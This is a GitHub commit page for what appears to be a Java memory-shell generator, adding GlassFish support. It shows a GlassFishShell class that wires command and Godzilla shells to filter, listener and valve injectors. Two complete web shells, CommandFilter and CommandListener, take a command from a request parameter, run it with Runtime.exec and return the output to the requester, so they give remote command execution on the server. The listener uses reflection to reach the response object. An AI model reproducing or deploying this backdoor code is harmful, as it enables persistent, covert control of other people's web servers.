-
Notifications
You must be signed in to change notification settings - Fork 55
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
feat: support glassfish shell generate
- Loading branch information
Showing
38 changed files
with
1,703 additions
and
207 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
56 changes: 56 additions & 0 deletions
56
generator/src/main/java/com/reajason/javaweb/memsell/glassfish/GlassFishShell.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
package com.reajason.javaweb.memsell.glassfish; | ||
|
||
import com.reajason.javaweb.config.Constants; | ||
import com.reajason.javaweb.config.ShellTool; | ||
import com.reajason.javaweb.memsell.AbstractShell; | ||
import com.reajason.javaweb.memsell.glassfish.command.CommandFilter; | ||
import com.reajason.javaweb.memsell.glassfish.command.CommandListener; | ||
import com.reajason.javaweb.memsell.glassfish.command.CommandValve; | ||
import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaFilter; | ||
import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaListener; | ||
import com.reajason.javaweb.memsell.glassfish.injector.GlassFishFilterInjector; | ||
import com.reajason.javaweb.memsell.glassfish.injector.GlassFishListenerInjector; | ||
import com.reajason.javaweb.memsell.glassfish.injector.GlassFishValveInjector; | ||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve; | ||
import org.apache.commons.lang3.tuple.Pair; | ||
|
||
import java.util.List; | ||
import java.util.Map; | ||
|
||
/** | ||
* @author ReaJason | ||
* @since 2024/12/12 | ||
*/ | ||
public class GlassFishShell extends AbstractShell { | ||
public static final String VALVE = "Valve"; | ||
public static final String JAKARTA_VALVE = "JakartaValve"; | ||
|
||
@Override | ||
public List<ShellTool> getSupportedShellTools() { | ||
return List.of(ShellTool.Command, ShellTool.Godzilla); | ||
} | ||
|
||
@Override | ||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() { | ||
return Map.of( | ||
Constants.FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class), | ||
Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class), | ||
Constants.LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class), | ||
Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class), | ||
VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class), | ||
JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class) | ||
); | ||
} | ||
|
||
@Override | ||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() { | ||
return Map.of( | ||
Constants.FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class), | ||
Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class), | ||
Constants.LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class), | ||
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class), | ||
VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class), | ||
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class) | ||
); | ||
} | ||
} |
48 changes: 48 additions & 0 deletions
48
generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandFilter.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
package com.reajason.javaweb.memsell.glassfish.command; | ||
|
||
import javax.servlet.*; | ||
import javax.servlet.http.HttpServletRequest; | ||
import javax.servlet.http.HttpServletResponse; | ||
import java.io.IOException; | ||
import java.io.InputStream; | ||
|
||
/** | ||
* @author ReaJason | ||
* @since 2024/11/24 | ||
*/ | ||
public class CommandFilter implements Filter { | ||
public String paramName = "{{paramName}}"; | ||
|
||
@Override | ||
public void init(FilterConfig filterConfig) throws ServletException { | ||
|
||
} | ||
|
||
@Override | ||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { | ||
HttpServletRequest servletRequest = (HttpServletRequest) request; | ||
HttpServletResponse servletResponse = (HttpServletResponse) response; | ||
String cmd = servletRequest.getParameter(paramName); | ||
try { | ||
if (cmd != null) { | ||
Process exec = Runtime.getRuntime().exec(cmd); | ||
InputStream inputStream = exec.getInputStream(); | ||
ServletOutputStream outputStream = servletResponse.getOutputStream(); | ||
byte[] buf = new byte[8192]; | ||
int length; | ||
while ((length = inputStream.read(buf)) != -1) { | ||
outputStream.write(buf, 0, length); | ||
} | ||
} else { | ||
chain.doFilter(servletRequest, servletResponse); | ||
} | ||
} catch (Exception e) { | ||
chain.doFilter(servletRequest, servletResponse); | ||
} | ||
} | ||
|
||
@Override | ||
public void destroy() { | ||
|
||
} | ||
} |
78 changes: 78 additions & 0 deletions
78
generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandListener.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,78 @@ | ||
package com.reajason.javaweb.memsell.glassfish.command; | ||
|
||
import javax.servlet.ServletOutputStream; | ||
import javax.servlet.ServletRequestEvent; | ||
import javax.servlet.ServletRequestListener; | ||
import javax.servlet.http.HttpServletRequest; | ||
import javax.servlet.http.HttpServletResponse; | ||
import java.io.InputStream; | ||
import java.lang.reflect.Field; | ||
|
||
/** | ||
* @author ReaJason | ||
*/ | ||
public class CommandListener implements ServletRequestListener { | ||
public String paramName = "{{paramName}}"; | ||
|
||
public CommandListener() { | ||
} | ||
|
||
@SuppressWarnings("all") | ||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception { | ||
Field field = null; | ||
Class<?> clazz = obj.getClass(); | ||
while (clazz != Object.class) { | ||
try { | ||
field = clazz.getDeclaredField(name); | ||
break; | ||
} catch (NoSuchFieldException var5) { | ||
clazz = clazz.getSuperclass(); | ||
} | ||
} | ||
if (field == null) { | ||
throw new NoSuchFieldException(name); | ||
} else { | ||
field.setAccessible(true); | ||
return field.get(obj); | ||
} | ||
} | ||
|
||
@Override | ||
public void requestDestroyed(ServletRequestEvent sre) { | ||
|
||
} | ||
|
||
@Override | ||
public void requestInitialized(ServletRequestEvent servletRequestEvent) { | ||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); | ||
try { | ||
String cmd = request.getParameter(paramName); | ||
if (cmd != null) { | ||
HttpServletResponse servletResponse = this.getResponseFromRequest(request); | ||
Process exec = Runtime.getRuntime().exec(cmd); | ||
InputStream inputStream = exec.getInputStream(); | ||
ServletOutputStream outputStream = servletResponse.getOutputStream(); | ||
byte[] buf = new byte[8192]; | ||
int length; | ||
while ((length = inputStream.read(buf)) != -1) { | ||
outputStream.write(buf, 0, length); | ||
} | ||
} | ||
} catch (Exception ignored) { | ||
} | ||
} | ||
|
||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { | ||
HttpServletResponse response = null; | ||
try { | ||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); | ||
} catch (Exception e) { | ||
try { | ||
response = (HttpServletResponse) getFieldValue(request, "response"); | ||
} catch (Exception ee) { | ||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); | ||
} | ||
} | ||
return response; | ||
} | ||
} |
Oops, something went wrong.